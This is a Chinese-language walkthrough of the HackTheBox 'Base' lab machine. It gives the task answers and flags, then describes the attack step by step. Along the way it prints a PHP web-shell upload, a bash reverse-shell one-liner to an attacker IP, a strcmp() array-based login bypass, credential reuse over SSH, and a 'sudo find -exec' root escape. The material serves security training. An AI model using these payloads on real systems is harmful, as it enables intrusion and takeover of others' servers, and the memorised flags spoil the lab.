HackTheBox-Starting Point--Tier 2---Base

文章目录

  • [一 题目](#一 题目)
  • [二 过程记录](#二 过程记录)
    • [2.1 打点](#2.1 打点)
    • [2.2 权限获取](#2.2 权限获取)
    • [2.3 横向移动](#2.3 横向移动)
    • [2.4 权限提升](#2.4 权限提升)

一 题目


++Tags++

c 复制代码
Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Information Disclosure、PHP type juggling

译文:Web、漏洞评估、自定义应用程序、源代码分析、认证、Apache、PHP、侦察、网站结构发现、SUDO 开发、身份验证绕过、明文凭据、任意文件上传、信息披露、PHP类型杂技

++Connect++

c 复制代码
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

++SPAWN MACHINE++

c 复制代码
Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

++TASK 1++

c 复制代码
Which two TCP ports are open on the remote host?

译文:远程主机开启了哪两个TCP端口?

答:22,80

++TASK 2++

c 复制代码
What is the relative path on the webserver for the login page?

译文:登录页面在 Web 服务器上的相对路径是什么?

答:/login/login.php

++TASK 3++

c 复制代码
How many files are present in the '/login' directory?

译文:"/login"目录中有多少个文件?

答:3

++TASK 4++

c 复制代码
What is the file extension of a swap file?

译文:swap文件的扩展名是什么?

答:.swp

++TASK 5++

c 复制代码
Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

译文:后端代码中使用了哪个 PHP 函数来将用户提交的用户名和密码与有效的用户名和密码进行比较?

答:strcmp()

++TASK 6++

c 复制代码
In which directory are the uploaded files stored?

译文:上传的文件存储在哪个目录中?

答:/_uploaded

++TASK 7++

c 复制代码
Which user exists on the remote host with a home directory?

译文:home 目录的远程主机上存在哪个用户?

答:john

++TASK 8++

c 复制代码
What is the password for the user present on the system?

译文:系统上存在的用户的密码是什么?

答:thisisagoodpassword

++TASK 9++

c 复制代码
What is the full path to the command that the user john can run as user root on the remote host?

译文:用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?

答:/usr/bin/find

++TASK 10++

c 复制代码
What action can the find command use to execute commands?

译文:find 命令可以使用什么操作来执行命令?

答:exec

++SUBMIT FLAG++

c 复制代码
Submit user flag

译文:用户flag

答:f54846c258f3b4612f78a819573d158e

++SUBMIT FLAG++

c 复制代码
Submit root flag

译文:提交root flag

答:51709519ea18ab37dd6fc58096bea949

二 过程记录


2.1 打点

**  1.端口扫描**

c 复制代码
nmap -sV -sC 10.129.198.121

**  2.访问web页面,并发现敏感信息**

访问80端口,点击Login,页面跳转到 http://10.129.198.121/login/login.php

去掉login.php访问:http://10.129.32.71/login/,发现`登录文件、配置文件、swp文件`

SWP文件:是一种备份Vim编辑器临时文件的格式。在Vim编辑器意外中断时,SWP文件能够帮助用户恢复丢失的内容。也可以通过手动设置SWAP文件路径环境变量的方式来更改文件存储位置。SWP文件是临时文件,在正确操作的情况下,Vim会自动删除这些文件。
  swp文件是一个临时文件,它包含许多非可读的内容,因此可以使用 strings命令来读取这个交换文件, strings命令可以显示人类可读的文本。

php 复制代码
# strings命令可以查看当前查看的文件类型,并且可以提取文本
strings login.php.swp

执行strings命令,显示如下:

js 复制代码
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"! 
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
                <div class="form-group">
              <div class="row" align="center">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
          <div class="col-lg-12 mt-5 mt-lg-0">
        <div class="row mt-2">
        </div>
          <p>Use the form below to log into your account.</p>
          <h2>Login</h2>
        <div class="section-title mt-5" >
      <div class="container" data-aos="fade-up">
    <section id="login" class="contact section-bg" style="padding: 160px 0">
    <!-- ======= Login Section ======= -->
  </header><!-- End Header -->
    </div>
      </nav><!-- .navbar -->
        <i class="bi bi-list mobile-nav-toggle"></i>
        </ul>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
        <ul>
      <nav id="navbar" class="navbar">
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <!-- Uncomment below if you prefer to use an image logo -->
      <h1 class="logo"><a href="index.html">BASE</a></h1>
    <div class="container d-flex align-items-center justify-content-between">
  <header id="header" class="fixed-top">
  <!-- ======= Header ======= -->
<body>
</head>
  <link href="../assets/css/style.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Google Fonts -->
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <link href="../assets/img/favicon.png" rel="icon">
  <!-- Favicons -->
  <meta content="" name="keywords">
  <meta content="" name="description">
  <title>Welcome to Base</title>
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
  <script src="../assets/js/main.js"></script>

查看文件内容,发现文件内容是颠倒的,利用tac命令将文件从尾部到头部重新输出一遍:

php 复制代码
strings login.php.swp >> file.txt

# mac下使用tail -r命令
tail -r fiel.txt
# linux下使用tac命令
tac file.txt

整理后的文件内容如下:

php 复制代码
  <script src="../assets/js/main.js"></script>
</body>
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {
    require('config.php');
    if (strcmp($username, $_POST['username']) == 0) {
        if (strcmp($password, $_POST['password']) == 0) {
            $_SESSION['user_id'] = 1;
            header("Location: /upload.php");
        } else {
            print("<script>alert('Wrong Username or Password')</script>");
        }
    } else {
        print("<script>alert('Wrong Username or Password')</script>");
    }
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <title>Welcome to Base</title>
  <meta content="" name="description">
  <meta content="" name="keywords">
  <!-- Favicons -->
  <link href="../assets/img/favicon.png" rel="icon">
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <!-- Google Fonts -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/css/style.css" rel="stylesheet">
</head>
<body>
  <!-- ======= Header ======= -->
  <header id="header" class="fixed-top">
    <div class="container d-flex align-items-center justify-content-between">
      <h1 class="logo"><a href="index.html">BASE</a></h1>
      <!-- Uncomment below if you prefer to use an image logo -->
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <nav id="navbar" class="navbar">
        <ul>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
        </ul>
        <i class="bi bi-list mobile-nav-toggle"></i>
      </nav><!-- .navbar -->
    </div>
  </header><!-- End Header -->
    <!-- ======= Login Section ======= -->
    <section id="login" class="contact section-bg" style="padding: 160px 0">
      <div class="container" data-aos="fade-up">
        <div class="section-title mt-5" >
          <h2>Login</h2>
          <p>Use the form below to log into your account.</p>
        </div>
        <div class="row mt-2">
          <div class="col-lg-12 mt-5 mt-lg-0">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
              <div class="row" align="center">
                <div class="form-group">
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
#"! 
3210
/var/www/html/login/login.php
base
root
b0VIM 8.0

**  3.代码分析**


  如上代码块中:开发人员使用strcmp()来检查用户名和密码的组合,当用户输入正确时,返回0,此时登录成功。
  在php中,如果在变量前加上[],会把变量转化为数组。如果给strcmp()函数一个空数组($username[] & $password[])进行比较,结果将返回NULL,==运算符只检查变量的值是否相等,但是NULL的值为0。返回0,则登录成功。也就成功绕过登录。

**  4.使用burpsuite更改请求包绕过登录**

拦截请求包,将username=admin&password=123更改为username[]=admin&password[]=123,成功绕过登录。发现一个上传页面。


2.2 权限获取

**  5.文件上传漏洞利用**

上传一句话木马

php 复制代码
<?php echo system($_REQUEST['cmd']);?>

暴力破解上传文件保存路径,发现存在一个_uploaded目录

c 复制代码
./gobuster dir -u http://10.129.32.71/ -w php.txt 

点击访问request.php文件,页面为空

但是如果添加?cmd=id执行系统命令,执行成功

**  6.获取反弹shell**

攻击机器开启监听ncat -lnvp 1234

对反弹shell进行URL编码

c 复制代码
/bin/bash -c 'bash -i>& /dev/tcp/10.10.14.11/1234 0>&1'


  然后在URL中执行,成功拿到shell



2.3 横向移动

访问http://10.129.198.167/login/config.php页面时,页面为空白,此时www-data权限下查看config.php文件,发现用户名和密码:

c 复制代码
$username = "admin";
$password = "thisisagoodpassword"

列举home目录下的用户,并尝试使用上文获取到的密码thisisagoodpassword切换到john,但是显示需要交互式shell才可以使用su命令

22端口开放,尝试使用ssh连接,john用户登录成功

c 复制代码
ssh john@10.129.198.167 
thisisagoodpassword


   获取到john用户的flag


2.4 权限提升

py 复制代码
# 列出当前用户可以利用sudo执行哪些命令
sudo -l

输出显示:john用户可以以root权限执行find命令

执行以下命令获取root权限

c 复制代码
sudo find . -exec /bin/sh \; -quit
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